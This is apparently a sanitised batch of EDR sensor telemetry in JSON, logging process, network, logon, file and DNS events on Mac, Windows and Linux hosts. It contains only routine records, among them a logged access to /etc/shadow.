+{"event_simpleName":"NeighborListIP6","ConfigStateHash":"3090255842","NeighborList":"1C-AB-C0-9B-10-A2|2607:fea8:720:1bc8:1eab:c0ff:fe9b:10a2|0|","aip":"67.43.156.14","InterfaceIndex":"6","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","Entitlements":"15","name":"NeighborListIP6MacV1","id":"ffffffff-1111-11eb-ac8a-06b5e1186139","EffectiveTransmissionClass":"3","aid":"ffffffff01c7450180352a7c58a28fb4","timestamp":"1625677489786","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"NewScriptWritten","ContextTimeStamp":"1625677382.785","UserName":"user3","ConfigStateHash":"1325353086","ContextProcessId":"364952259879648742","Size":"8052","ContextThreadId":"0","aip":"67.43.156.14","SHA256HashData":"359fd6e9a46f605d491225325125502ca6ba99a73ac3141f59af96627f128fc6","FileIdentifier":"04000001000000000000000000000000ef07570000000000","ConfigBuild":"1007.4.0013806.1","event_platform":"Mac","IsOnRemovableDisk":"0","Entitlements":"15","name":"NewScriptWrittenMacV3","id":"ffffffff-1111-11eb-9dc1-029257dbe83b","EffectiveTransmissionClass":"2","aid":"ffffffffcebd42c0890d59b54279d3d3","timestamp":"1625677383057","cid":"ffffffff15754bcfb5f9152ec7ac90ac","TargetFileName":"/Users/user3/git/it_eng_scripts/depnotify_starter/dep_notify_starter.sh"} +{"event_simpleName":"SystemCapacity","ConfigStateHash":"1620585913","aip":"67.43.156.13","CpuClockSpeed":"2400000000","PhysicalCoreCount":"8","CpuFeaturesMask":"7494065083908067","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","LogicalCoreCount":"16","Entitlements":"15","name":"SystemCapacityMacV1","CpuVendor":"0","CpuProcessorName":"Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz","id":"ffffffff-1111-11eb-b714-066001392751","CpuSignature":"591597","EffectiveTransmissionClass":"3","aid":"fffffffff2c7432859ff6bbe1a0bd6af","ProcessorPackageCount":"1","MemoryTotal":"17179869184","timestamp":"1625677387216","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"event_simpleName":"FirmwareAnalysisStatus","ConfigStateHash":"3090255842","FirmwareAnalysisEclControlInterfaceVersion":"0","aip":"67.43.156.14","ConfigBuild":"1007.4.0013701.1","event_platform":"Mac","FirmwareAnalysisEclConsumerInterfaceVersion":"0","BootTimeFunctionalityLevel":"255","ReasonOfFunctionalityLevel":"3","CurrentFunctionalityLevel":"2","Entitlements":"15","name":"FirmwareAnalysisStatusMacV2","id":"ffffffff-1111-11eb-ba57-0214a0d89bf7","EffectiveTransmissionClass":"0","aid":"ffffffff0d7b4d839912e55b4755e85b","timestamp":"1625677368429","cid":"ffffffff15754bcfb5f9152ec7ac90ac","PciAttachmentState":"65535"} +{"OutOctets":"0","CreationTimeStamp":"","aip":"67.43.156.13","OutMulticastPkts":"0","InErrors":"0","InterfaceAlias":"utun2","InDiscards":"0","InterfaceIndex":"17","event_platform":"Mac","InterfaceType":"1","id":"ffffffff-1111-11eb-a272-0294ad12fbe7","PhysicalAddressLength":"0","InUcastPkts":"0","EffectiveTransmissionClass":"2","timestamp":"1625677504544","LocalAddressIP4":"67.43.156.14","event_simpleName":"LocalIpAddressIP4","ConfigStateHash":"3090255842","PhysicalAddress":"","OutErrors":"0","InUnknownProtos":"0","OutUcastPkts":"0","InMulticastPkts":"0","ConfigBuild":"1007.4.0013701.1","InOctets":"0","NetLuidIndex":"2","Entitlements":"15","name":"LocalIpAddressIP4MacV1","aid":"ffffffff557f4b99a0afdea9ce8cd6fa","cid":"ffffffff15754bcfb5f9152ec7ac90ac"} +{"CommandLine":"uname -a","ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","Entitlements":"15","GID":"0","ImageFileName":"/bin/uname","MD5HashData":"894356eb59e279696c304f07091b7fde","NDRoot":"321385814512398584","ParentProcessId":"321385814512398584","ProcessEndTime":"1604855099.126","ProcessGroupId":"0","ProcessStartTime":"1604855099.126","RGID":"0","RUID":"0","RawProcessId":"51342","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"de80fe0bd06a96543aaec5c634b08cbfc58dba88ea3a66871434a0dd3a9e9dfa","SVGID":"0","SVUID":"0","SessionProcessId":"314116638974342642","SourceProcessId":"321385814512398584","SourceThreadId":"0","TargetProcessId":"321385814512398605","UID":"0","aid":"ffffffff70d140ca9ba97f0dddd14137","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-ac87-06decddc17a1","name":"ProcessRollup2LinV5","timestamp":"1604855099681"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"1789338890","ContextProcessId":"317713210176499254","ContextThreadId":"0","ContextTimeStamp":"1604855096.730","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"28987","SHA256HashData":"6de76ab470a16b2a825d223b996d994623473c694c60fccbb71af8691e61c5e0","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"317713210176499254","aid":"ffffffff75fc48f15cfe5f095e605c4c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-809e-02fff4e55a49","name":"EndOfProcessMacV14","timestamp":"1604855099646"} +{"AllocateVirtualMemoryCount":"0","ArchiveFileWrittenCount":"0","AsepWrittenCount":"0","BinaryExecutableWrittenCount":"0","CLICreationCount":"0","ConHostId":"38188","ConHostProcessId":"3099352216141","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextData":"","ContextProcessId":"3100508103359","ContextThreadId":"93436292950223","ContextTimeStamp":"1604855097.926","CreateProcessCount":"0","CycleTime":"2937514388","DirectoryCreatedCount":"0","DirectoryEnumeratedCount":"1","DnsRequestCount":"0","DocumentFileWrittenCount":"0","EffectiveTransmissionClass":"3","Entitlements":"15","ExeAndServiceCount":"0","ExecutableDeletedCount":"0","ExitCode":"0","FileDeletedCount":"2","GenericFileWrittenCount":"0","ImageSubsystem":"3","InjectedDllCount":"0","InjectedThreadCount":"0","KernelTime":"7500000","MaxThreadCount":"4","ModuleLoadCount":"38","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkConnectCountUdp":"0","NetworkListenCount":"0","NetworkModuleLoadCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","ParentProcessId":"3099350649383","PrivilegedProcessHandleCount":"0","ProcessStartTime":"1604855096.463","ProtectVirtualMemoryCount":"0","QueueApcCount":"0","RawProcessId":"33016","RegKeySecurityDecreasedCount":"0","RemovableDiskFileWrittenCount":"0","RunDllInvocationCount":"0","SHA256HashData":"faceb6f5d1cdc5ad50a4a1b92c4cd3fcdabcf7e8d418014a1b1221c1defa3d8f","ScreenshotsTakenCount":"0","ScriptEngineInvocationCount":"0","ServiceEventCount":"0","SetThreadContextCount":"0","SnapshotFileOpenCount":"0","SuspectStackCount":"0","SuspiciousCredentialModuleLoadCount":"0","SuspiciousDnsRequestCount":"0","SuspiciousFontLoadCount":"0","SuspiciousRawDiskReadCount":"0","TargetProcessId":"3100508103359","UnsignedModuleLoadCount":"0","UserMemoryAllocateExecutableCount":"0","UserMemoryAllocateExecutableRemoteCount":"0","UserMemoryProtectExecutableCount":"0","UserMemoryProtectExecutableRemoteCount":"0","UserSid":"S-1-5-18","UserTime":"6406250","aid":"ffffffffb5db4b2e7ec89aba537adcc2","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"EndOfProcessV15","timestamp":"1604855099935"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","ContextProcessId":"311775981885093125","ContextThreadId":"0","ContextTimeStamp":"1604855101.341","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"10507","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"311775981885093125","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"EndOfProcessMacV12","timestamp":"1604855100139"} +{"AuthenticationId":"999","CommandLine":"D:\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe --ps2","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume2\\projects\\splunk-forwarder\\bin\\splunk-powershell.exe","ImageSubsystem":"3","IntegrityLevel":"16384","MD5HashData":"571391f723a439e985a2064337e2802a","ParentAuthenticationId":"999","ParentBaseFileName":"splunkd.exe","ParentProcessId":"17346335177","ProcessCreateFlags":"67634688","ProcessEndTime":"","ProcessParameterFlags":"24577","ProcessStartTime":"1604855099.406","ProcessSxsFlags":"64","RawProcessId":"6116","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7f326aad0ee45bfef93daede5597d70422d472084ae3295762654fb5021a8720","SessionId":"0","SourceProcessId":"17346335177","SourceThreadId":"107650023406","Tags":"27, 151, 12094627905582, 12094627906234","TargetProcessId":"583707537390","TokenType":"1","UserSid":"S-1-5-18","WindowFlags":"384","aid":"ffffffff3a5a424fa02450da53619745","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-a09e-06f79d630255","name":"ProcessRollup2V17","timestamp":"1604855100030"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2784638081","ContextProcessId":"259090530891","ContextThreadId":"16409623709004","ContextTimeStamp":"1604855095.961","DnsRequestCount":"1","DomainName":"comp1.dom2","DualRequest":"0","EffectiveTransmissionClass":"3","Entitlements":"15","InterfaceIndex":"0","RequestType":"1","aid":"ffffffff4f1444bab96568879cb43556","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DnsRequest","id":"ffffffff-1111-11eb-8077-0606f7dcf2ed","name":"DnsRequestV3","timestamp":"1604855099913"} +{"ConfigBuild":"1007.8.0009806.1","ConfigStateHash":"4288861242","ContextProcessId":"321385820045701199","ContextThreadId":"0","ContextTimeStamp":"1604855101.645","Entitlements":"15","GID":"0","TargetFileName":"/etc/shadow","UID":"0","UnixMode":"32768","aid":"ffffffff32ba43a483e76c6f0a4aa26f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Lin","event_simpleName":"CriticalFileAccessed","id":"ffffffff-1111-11eb-b70d-027f9ced2001","name":"CriticalFileAccessedLinV1","timestamp":"1604855102247"} +{"CommandLine":"/usr/bin/plutil -convert xml1 -o - /Applications/Xcode.app/Contents/Developer/Platforms/AppleTVOS.platform/Developer/Library/CoreSimulator/Profiles/Runtimes/tvOS.simruntime/Contents/Resources/RuntimeRoot/System/Library/PrivateFrameworks/DiagnosticExtensions.framework/PlugIns/com.apple.DiagnosticExtensions.CrashLogs.appex/Info.plist","ConfigBuild":"1007.4.0009304.1","ConfigStateHash":"3344040805","Entitlements":"15","GID":"0","ImageFileName":"/usr/bin/plutil","MD5HashData":"d51cef1b288e2032aee9805deff04bfd","MachOSubType":"1","ParentProcessId":"311774817965726568","ProcessEndTime":"","ProcessGroupId":"311774817965726568","ProcessStartTime":"1604855111.240","RGID":"0","RUID":"0","RawProcessId":"10692","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"3b00897e1eb587c5f77e3866ff6bdc80f5e70f839543242e0ee5a1581014adc3","SVGID":"0","SVUID":"0","SourceProcessId":"311776004953765502","SourceThreadId":"0","Tags":"27, 12094627905582, 12094627906234","TargetProcessId":"311776004953765502","UID":"0","aid":"ffffffff1aa0482a5ea94f64e08e7b15","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-bc03-065126dd0691","name":"ProcessRollup2MacV3","timestamp":"1604855109180"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3899738370","ContextProcessId":"1546527409909","ContextThreadId":"4711690090889","ContextTimeStamp":"1604855114.133","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"0","FileIdentifier":"501ee2c32e53fb43b07f419f3236fb45c29e000000002c00","FileObject":"18446655033844205120","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"88080484","ShareAccess":"1","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Windows\\Temp\\__PSScriptPolicyTest_dvkjnbka.apn.ps1","aid":"ffffffff8f1e4b77b4dae5debaa1c8bc","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewScriptWritten","id":"ffffffff-1111-11eb-80b5-06e11a66e03d","name":"NewScriptWrittenV7","timestamp":"1604855114427"} +{"ConfigBuild":"1007.4.0012205.1","ConfigStateHash":"1306766522","ConnectionDirection":"1","ConnectionFlags":"0","ContextProcessId":"321275232072440993","ContextTimeStamp":"1604855116.421","Entitlements":"15","InContext":"0","LocalAddressIP4":"0.0.0.0","LocalPort":"0","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"ffffffffd4094240a6b1d12aaf304f4f","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-aca9-02683aed2a0d","name":"NetworkConnectIP4MacV5","timestamp":"1604855116502"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"2602391615","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"223442259384","ContextTimeStamp":"1604855116.849","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"67.43.156.14","LocalPort":"53961","Protocol":"6","RemoteAddressIP4":"67.43.156.14","RemotePort":"443","aid":"fffffffff000426eb99afaa2ccdcbc17","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkConnectIP4","id":"ffffffff-1111-11eb-b0eb-06be7616c211","name":"NetworkConnectIP4V5","timestamp":"1604855116942"} +{"AuthenticationId":"6580764513","AuthenticationPackage":"Negotiate","ClientComputerName":"-","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"816054990879","ContextThreadId":"52913017705957","ContextTimeStamp":"1604855091.781","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"NT AUTHORITY","LogonServer":"","LogonTime":"1604855091.781","LogonType":"9","PasswordLastSet":"","RemoteAccount":"1","UserFlags":"0","UserIsAdmin":"0","UserLogonFlags":"12","UserName":"SYSTEM","UserPrincipal":"user4@dom2","UserSid":"S-1-5-18","aid":"ffffffff8d2e4b4f9b21b40633a8d579","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogon","id":"ffffffff-1111-11eb-a8cf-0649c95cfa1d","name":"UserLogonV8","timestamp":"1604855121077"} +{"AuthenticationId":"2007206396","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"4415814628770","ContextThreadId":"41392001729898","ContextTimeStamp":"1604855120.785","DiskParentDeviceInstanceId":"PCI\\VEN_1000\u0026DEV_0054\u0026SUBSYS_197615AD\u0026REV_01\\4\u00261f16fef7\u00260\u002600A8","EffectiveTransmissionClass":"3","Entitlements":"15","FileEcpBitmask":"0","FileIdentifier":"b57cb59769dfe71180b4806e6f6e6963ea8902000000cb2c","FileObject":"18446708893089967904","IrpFlags":"1028","IsOnNetwork":"0","IsOnRemovableDisk":"0","IsTransactedFile":"0","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","SHA256HashData":"d0e1b81f3f3f18256f6447703624019eaee9b1068b3f09323eced4f547cc4182","Size":"6144","TargetFileName":"\\Device\\HarddiskVolume2\\Users\\user10\\AppData\\Local\\Temp\\ec1ijefl.dll","TokenType":"1","aid":"ffffffff2c47454cba360bc404a607bb","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"PeFileWritten","id":"ffffffff-1111-11eb-b091-06f6cca0a049","name":"PeFileWrittenV14","timestamp":"1604855121109"} +{"AuthenticationId":"317005428","AuthenticationPackage":"Negotiate","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3950066843","EffectiveTransmissionClass":"2","Entitlements":"15","LogoffTime":"1604855132.756","LogonDomain":"dom1","LogonServer":"srv2","LogonTime":"1604855131.666","LogonType":"7","PasswordLastSet":"1598119332.510","RemoteAccount":"1","UserFlags":"32","UserIsAdmin":"0","UserLogoffType":"3","UserLogonFlags":"0","UserName":"user4","UserPrincipal":"user.name@dom2.com","UserSid":"S-1-5-21-606747145-1364589140-725345543-28636","aid":"ffffffffe0104823bd3de859d5bc8bc7","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogoff","id":"ffffffff-1111-11eb-8913-0287fd11c79b","name":"UserLogoffV3","timestamp":"1604855134461"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"537307300","ContextProcessId":"635780922149","ContextThreadId":"9479299143023","ContextTimeStamp":"1604855025.966","DesiredAccess":"1180054","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"0e02a8c7ed9d244887cef0409af0e6190030000000001100","FileObject":"18446695174291796544","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"83886176","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume4\\Program Files\\Snow Software\\Inventory\\Agent\\cloudmeteringhost.exe","aid":"ffffffff425942f58382dbb11350eeda","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableWritten","id":"ffffffff-1111-11eb-93cb-067deb43537b","name":"NewExecutableWrittenV1","timestamp":"1604855149643"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3765958535","ConnectionDirection":"2","ConnectionFlags":"0","ContextProcessId":"50714198593318","ContextThreadId":"194302491825207","ContextTimeStamp":"1604855150.066","EffectiveTransmissionClass":"3","Entitlements":"15","InContext":"0","LocalAddressIP4":"127.0.0.1","LocalPort":"59491","Protocol":"6","RemoteAddressIP4":"0.0.0.0","RemotePort":"0","aid":"ffffffffa51b4acf9dbc1fc273e6145c","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NetworkListenIP4","id":"ffffffff-1111-11eb-8726-063418e4a9e7","name":"NetworkListenIP4V5","timestamp":"1604855150545"} +{"ClientComputerName":"com1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3011122681","ContextProcessId":"7073822473144","ContextThreadId":"48689911139327","ContextTimeStamp":"1604855152.993","EffectiveTransmissionClass":"2","Entitlements":"15","EtwRawProcessId":"744","EtwRawThreadId":"5304","LogonDomain":"BROADCAST","LogonType":"3","RemoteAddressIP4":"67.43.156.14","Status":"3221225581","SubStatus":"3221225578","UserName":"user5","aid":"ffffffffd8844a59acce5e1f4ad01888","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserLogonFailed2","id":"ffffffff-1111-11eb-a8aa-067029dffccb","name":"UserLogonFailed2V2","timestamp":"1604855154274"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextProcessId":"1838383212125","ContextThreadId":"27242382481217","ContextTimeStamp":"1604855151.534","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"b0754a8f86feffffb0754a8f86feffff09764a8f86feffff","FileObject":"18446636884348143072","IrpFlags":"1028","MajorFunction":"18","MinorFunction":"0","OperationFlags":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Program Files\\WindowsApps\\Deleted\\Microsoft.Getstarted_9.10.32461.0_x64__8wekyb3d8bbweacf6b996-01b3-402c-bd01-a67529f94699\\clrcompression.dll","aid":"ffffffff4a0946365161093453e596d4","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ExecutableDeleted","id":"ffffffff-1111-11eb-b23b-064dea059649","name":"ExecutableDeletedV3","timestamp":"1604855154670"} +{"AsepWrittenCount":"0","ConfigBuild":"1007.4.0009202.1","ConfigStateHash":"230795414","ContextProcessId":"318137549555284836","ContextThreadId":"0","ContextTimeStamp":"1604855135.209","DirectoryCreatedCount":"0","DnsRequestCount":"0","Entitlements":"15","ExecutableDeletedCount":"0","FileDeletedCount":"0","NetworkBindCount":"0","NetworkCapableAsepWriteCount":"0","NetworkCloseCount":"0","NetworkConnectCount":"0","NetworkListenCount":"0","NetworkRecvAcceptCount":"0","NewExecutableWrittenCount":"0","RawProcessId":"20195","SHA256HashData":"295fbc2356e8605e804f95cb6d6f992335e247dbf11767fe8781e2a7f889978a","SuspectStackCount":"0","SuspiciousDnsRequestCount":"0","TargetProcessId":"318137549555284836","aid":"ffffffffcfe84e8c6a52c4001bd83761","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"EndOfProcess","id":"ffffffff-1111-11eb-ae31-065d76bec0c3","name":"EndOfProcessMacV11","timestamp":"1604855160047"} +{"ApiReturnValue":"1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"683078218537","ContextTimeStamp":"1604855171.731","EffectiveTransmissionClass":"3","Entitlements":"15","EtwRawProcessId":"19400","EtwRawThreadId":"9384","aid":"ffffffff80984ea8b49d9a53f590c566","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"RegisterRawInputDevicesEtw","id":"ffffffff-1111-11eb-a570-0685ba2a382f","name":"RegisterRawInputDevicesEtwV1","timestamp":"1604855173077"} +{"CompletionEventId":"Event_ChannelDataDownloadCompleteV1","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","DownloadPath":"metahash+/cfs/channelfiles/0000000013/b2acba1a30a3407dae27d0503611022d/C-00000013-00000000-00000408.sys","DownloadPort":"443","DownloadServer":"lfodown01-b.cloudsink.net","EffectiveTransmissionClass":"0","Entitlements":"15","TargetFileName":"C-00000013-00000000-00000408.sys","aid":"ffffffffffc94c645268f64fc900213f","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"LFODownloadConfirmation","id":"ffffffff-1111-11eb-8ab5-0643392fc75d","name":"LFODownloadConfirmationV1","timestamp":"1604855174018"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"1763245019","ContextProcessId":"2071361595421","ContextThreadId":"41650430047375","ContextTimeStamp":"1604855146.590","EffectiveTransmissionClass":"3","Entitlements":"15","FileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","FileObject":"18446622606546437424","IrpFlags":"395312","MajorFunction":"6","MinorFunction":"0","NewFileIdentifier":"4b0121a43dfc1f4ca54eea679ddbcd4eef2103000000ca00","OperationFlags":"0","SourceFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\temp\\EKA0UARWWK\\Microsoft.WSMan.Management.ni.dll","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.We0722664#\\c2579d00f9849413b8b7948dd00ac863\\Microsoft.WSMan.Management.ni.dll","aid":"ffffffff280b41b956a91e816bd9b9b0","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"NewExecutableRenamed","id":"ffffffff-1111-11eb-8162-0663305b686f","name":"NewExecutableRenamedV6","timestamp":"1604855177513"} +{"ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"402097454","ContextProcessId":"66601077523","ContextThreadId":"2500785639062","ContextTimeStamp":"1604855165.213","DesiredAccess":"1048577","EffectiveTransmissionClass":"3","Entitlements":"15","FileAttributes":"128","FileIdentifier":"d2f4250ff1ba3b4ca66e123c5269884ca6f8020000002700","FileObject":"18446641334185168032","Information":"2","IrpFlags":"2180","MajorFunction":"0","MinorFunction":"0","OperationFlags":"0","Options":"35668001","ShareAccess":"3","Status":"0","TargetFileName":"\\Device\\HarddiskVolume3\\Windows\\CbsTemp\\30848497_1904507751\\FodWU","aid":"ffffffff2c9f4066b0b5f2f00265503c","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"DirectoryCreate","id":"ffffffff-1111-11eb-9411-06b7c99be087","name":"DirectoryCreateV1","timestamp":"1604855180332"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p -s wlidsvc","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3343111420","ContextTimeStamp":"1604855196.468","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","InterfaceGuid":"367ABB81-9844-35F1-AD32-98F038001003","InterfaceVersion":"131072","RpcClientProcessId":"949196415400","RpcClientThreadId":"44209361549673","RpcNestingLevel":"0","RpcOpNum":"19","ServiceDisplayName":"wlidsvc","TargetProcessId":"955370934902","TokenType":"1","UserName":"user6","aid":"fffffffffcc4413057adc260e99b0774","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ServiceStarted","id":"ffffffff-1111-11eb-9c98-02c501fe7d81","name":"ServiceStartedV2","timestamp":"1604855196635"} +{"ConfigBuild":"1007.4.0011104.1","ConfigStateHash":"203564169","ConnectionDirection":"0","ConnectionFlags":"0","ContextProcessId":"319255017313886870","ContextTimeStamp":"1604855200.751","Entitlements":"15","InContext":"0","LocalAddressIP6":"0:0:0:0:0:0:0:0","LocalPort":"0","Protocol":"6","RemoteAddressIP6":"0:0:0:0:0:0:0:1","RemotePort":"2181","aid":"ffffffffed0f41575620ab9fb25ce105","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Mac","event_simpleName":"NetworkConnectIP6","id":"ffffffff-1111-11eb-81f1-061cdebbd115","name":"NetworkConnectIP6MacV5","timestamp":"1604855200836"} +{"AuthenticationId":"1656178821","AuthenticationPackage":"Kerberos","ConfigBuild":"1007.3.0011603.1","ConfigStateHash":"3338885535","ContextProcessId":"30254389526587","ContextThreadId":"275230771323179","EffectiveTransmissionClass":"2","Entitlements":"15","LogonDomain":"dom1","LogonId":"1656178821","LogonServer":"srv1","LogonTime":"1604855211.249","LogonType":"5","PasswordLastSet":"1530626210.104","RemoteAccount":"1","SessionId":"0","UserCanonical":"","UserFlags":"32","UserIsAdmin":"0","UserLogonFlags":"0","UserName":"user7","UserPrincipal":"user7@dom4.cm","UserSid":"S-1-5-21-606747145-1364589140-725345543-183372","aid":"ffffffff73164cfa9656c4caff8a2a38","aip":"67.43.156.13","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"UserIdentity","id":"ffffffff-1111-11eb-86e3-02db1faa1327","name":"UserIdentityV2","timestamp":"1604855212031"} +{"AuthenticationId":"999","CommandLine":"C:\\WINDOWS\\System32\\svchost.exe -k netsvcs -p -s NetSetupSvc","ConfigBuild":"1007.3.0010609.1","ConfigStateHash":"4193986770","EffectiveTransmissionClass":"3","Entitlements":"15","ImageFileName":"\\Device\\HarddiskVolume3\\Windows\\System32\\svchost.exe","ImageSubsystem":"2","IntegrityLevel":"16384","MD5HashData":"8a0a29438052faed8a2532da50455756","ParentAuthenticationId":"999","ParentProcessId":"2881931477041","ProcessCreateFlags":"525324","ProcessEndTime":"","ProcessParameterFlags":"8193","ProcessStartTime":"1604842733.215","ProcessSxsFlags":"64","RawProcessId":"6160","SHA1HashData":"0000000000000000000000000000000000000000","SHA256HashData":"7fd065bac18c5278777ae44908101cdfed72d26fa741367f0ad4d02020787ab6","SessionId":"0","SourceProcessId":"2881931477041","SourceThreadId":"70316664105336","Tags":"27, 29, 53, 54, 55, 185, 10445360464024, 10445360464025, 10445360464026, 10445360464258, 10445360464273, 10445360464274, 12094627905582, 12094627906234, 211655988347297","TargetProcessId":"2882232404222","TokenType":"2","UserSid":"S-1-5-18","WindowFlags":"128","aid":"ffffffffbe8a46386afe80c5ef64d0b5","aip":"67.43.156.14","cid":"ffffffff30a3407dae27d0503611022d","event_platform":"Win","event_simpleName":"ProcessRollup2","id":"ffffffff-1111-11eb-b4f9-06e3a7e5503b","name":"ProcessRollup2V16","timestamp":"1604855237946"} 